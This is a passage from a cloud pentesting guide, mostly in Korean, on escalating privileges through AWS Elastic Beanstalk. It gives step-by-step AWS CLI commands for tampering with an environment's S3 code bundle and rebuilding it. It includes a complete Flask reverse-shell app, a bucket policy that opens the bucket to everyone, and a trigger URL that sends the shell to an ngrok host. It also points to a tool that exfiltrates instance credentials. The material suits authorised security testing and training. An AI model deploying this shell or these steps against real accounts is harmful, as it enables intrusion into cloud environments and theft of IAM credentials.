AWS - Elastic Beanstalk Privesc

Reading time: 6 minutes

Elastic Beanstalk

Elastic Beanstalk에 대한 추가 정보는 다음에서 확인하세요:

AWS - Elastic Beanstalk Enum

elasticbeanstalk:RebuildEnvironment, S3 쓰기 권한 및 기타 다수

환경의 코드를 포함한 S3 버킷에 대한 쓰기 권한과 애플리케이션을 재빌드할 수 있는 권한(필요한 권한으로는 elasticbeanstalk:RebuildEnvironment 및 S3, EC2, Cloudformation 관련 몇 가지가 있음)이 있으면, 코드를 수정하고 앱을 재빌드할 수 있습니다. 다음에 앱에 접근할 때는 새 코드를 실행하게 되므로, 공격자는 애플리케이션과 해당 애플리케이션의 IAM 역할 자격증명을 탈취할 수 있습니다.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, 등...

위에서 언급한 권한과 더불어 S3, EC2, cloudformation, autoscaling 및 elasticloadbalancing 권한들은 처음부터 Elastic Beanstalk 시나리오를 생성하는 데 필요합니다.

• AWS Elastic Beanstalk 애플리케이션 생성:

aws elasticbeanstalk create-application --application-name MyApp

• AWS Elastic Beanstalk 환경을 생성하세요 (supported platforms):

aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

환경이 이미 생성되어 있고 새로운 환경을 생성하고 싶지 않다면, 기존 환경을 단순히 업데이트할 수 있습니다.

• 애플리케이션 코드와 종속성을 ZIP 파일로 패키징하세요:

zip -r MyApp.zip .

• ZIP 파일을 S3 버킷에 업로드:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip

• AWS Elastic Beanstalk 애플리케이션 버전 생성:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"

• 애플리케이션 버전을 귀하의 AWS Elastic Beanstalk 환경에 배포하세요:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

무엇보다 먼저, 이전 단계들을 따라 정상적인 Beanstalk 환경을 만들고 victim에서 실행하려는 code를 배포해야 합니다. 간단한 zip 파일에 다음의 2개 파일을 포함하면 됩니다:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

자신의 your own Beanstalk env running 상태에서 rev shell이 준비되면, 이를 migrate하여 victims env로 옮길 차례입니다. 이를 위해 beanstalk S3 bucket의 update the Bucket Policy를 적용해 victim can access it하도록 해야 합니다 (이 작업은 Bucket을 open하여 EVERYONE에게 공개하게 됩니다):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.